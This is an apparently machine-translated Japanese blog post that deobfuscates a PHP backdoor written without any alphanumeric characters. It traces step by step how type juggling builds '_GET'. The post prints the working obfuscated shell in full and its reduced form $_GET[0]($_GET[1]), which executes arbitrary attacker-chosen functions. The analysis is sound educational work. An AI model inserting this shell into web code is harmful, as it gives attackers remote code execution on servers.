単一の英数字を使用しないバックドアの難読化解除

1か月前、私は、 単一の英数字のないPHPシェルに関する興味深い投稿を見て、それが何をしているのか本当に理解したかったです。 誰が気にする-カットの下で!



悪意のあるコード自体は次のとおりです

@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_; $_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__]; $_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] ); $_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] ); $_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ]; $_=$ $_[$__+ $__] ;$_[@-_]($_[@!+_] );
      
      





だから、行に:

@ $ _ [] = @!+ _; -$ _配列を初期化し(エラー出力を削除)、配列に要素を追加します。配列は空なので、要素のインデックスは0になります。 _ PHPはそれを定数と見なし、当然それを見つけません。したがって、 _記号を文字列(1) "_"と見なします。 +演算子はこの文字列を数値型(0)にキャストし、次に否定を受け取ります。これにより、数値がブール型に変換され、否定によって配列内の唯一の要素が得られます。

array(1) {

[0]=>

bool(true)

}






ビットシフト@ $ {_} >> $ _(int)0を与えます

それは真実に近づいていません:

 @$arrArray[]=@!+_; $var2=0; $arrArray[]=$var2; $arrArray[]=@_; $arrArray[((++$var2)+($var2++ ))].=$arrArray; $arrArray[]=++$var2; $arrArray[]=$arrArray[--$var2][$var2>>$var2]; $arrArray[$var2].=(($var2+$var2)+ $arrArray[$var2-$var2]).($var2+$var2+$var2)+$arrArray[$var2-$var2]; $arrArray[$var2+$var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ]; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] );
      
      





少なくとも、ソースの行数を減らすことができます。

 $var2=0; $arrArray = array(true, 0, "_"); $arrArray[((++$var2)+($var2++ ))].=$arrArray; $arrArray[]=++$var2; $arrArray[]=$arrArray[--$var2][$var2>>$var2]; $arrArray[$var2].=(($var2+$var2)+ $arrArray[$var2-$var2]).($var2+$var2+$var2)+$arrArray[$var2-$var2]; $arrArray[$var2+$var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ]; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] );
      
      







((++ $ var2)+($ var2 ++)) -これは彼らが貧弱なインタビューで好きなことです。 結果は2なので、 $ arrArrayは次の形式になります。

$ arrArray = array(true、0、 "_Array");

文字列と配列を連結すると、 "_ Array"になりました -これらは、PHPの型変換の機能です。

配列にもう1つの要素を追加します。

 $arrArray = array(true, 0, "_Array", 3); $var2=3; $arrArray[]=$arrArray[--$var2][$var2>>$var2]; $arrArray[$var2].=(($var2+$var2)+ $arrArray[$var2-$var2]).($var2+$var2+$var2)+$arrArray[$var2-$var2]; $arrArray[$var2+$var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ]; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] );
      
      







$ arrArray [-$ var2] [$ var2 >> $ var2] -配列の2番目の要素から最初の文字を取得する必要があります。 取得するもの:

 $arrArray = array(true, 0, "_Array", 3, "_"); $var2=2; $arrArray[$var2].=(($var2+$var2)+ $arrArray[$var2-$var2]).($var2+$var2+$var2)+$arrArray[$var2-$var2]; $arrArray[$var2+$var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ]; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] );
      
      







繰り返しますが、あなたはマニュアルに登らなければなりません:

4 + true = 5

6 + true = 7

5.7 = "57"



取得するもの:

 $arrArray = array(true, 0, "_Array57", 3, "_"); $var2=2; $arrArray[$var2+$var2] =($arrArray[$var2][$var2>>$var2]).($arrArray[$var2][$var2]^$arrArray[$var2][($var2<<$var2)-$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ]; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] );
      
      





おそらく終わりに近づいています。 次の行を解読します。

$ arrArray [4] =($ arrArray [2] [0])。($ arrArray [2] [2] ^ $ arrArray [2] [6]);

これはと同じです

$ arrArray [4] = "_"。( "r" ^ "5");



もう1行削除します。

 $arrArray = array(true, 0, "_Array57", 3, "_G"); $var2=2; $arrArray[$var2+$var2] .=($arrArray[$var2][($var2<<$var2)-($var2/$var2)])^($arrArray[$var2][$var2] ); $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ]; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] );
      
      





次のコード行についても同様です。

$ arrArray [4]。=($ arrArray [2] [7])^($ arrArray [2] [2]);

取得するもの:

$ arrArray [4]。= "7" ^ "r";



要約すると:

 $arrArray = array(true, 0, "_Array57", 3, "_GE"); $var2=2; $arrArray[$var2+$var2] .=($arrArray[$var2][$var2+$var2])^$arrArray[$var2][($var2<<$var2)-$var2 ]; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] );
      
      





多くの人がすでに推測しているように、別のコード行を難読化解除した後、私たちを待っていることは誰もが愛しています_GET

 $arrArray = array(true, 0, "_Array57", 3, "_GET"); $var2=2; $arrArray=$ $arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] );
      
      







正直なところ、この瞬間、私はst迷に陥りました。 行$ arrArray = $で、改行しないスペースと、変数の名前である別のUnicodeを探しました。 しかし、もちろん、すべてが思ったよりも簡単です。インタープリターは空白を無視し、完全に理解できるものを取得します。

 $arrArray = array(true, 0, "_Array57", 3, "_GET"); $var2=2; $arrArray=$$arrArray[$var2+ $var2] ; $arrArray[@-_]($arrArray[@!+_] );
      
      







少し噛んだら:

 $arrArray = array(true, 0, "_Array57", 3, "_GET"); $var2=2; $arrArray=$_GET ; $arrArray[@-_]($arrArray[@!+_] );
      
      







実際、バックドア全体が1行になりました。

 $_GET[0]($_GET[1] );
      
      





これで、このスクリプトが何をどのように行うかを正確に知ることができ、「boolean magic」などのあいまいな説明なしでユーザーに実行できます。



All Articles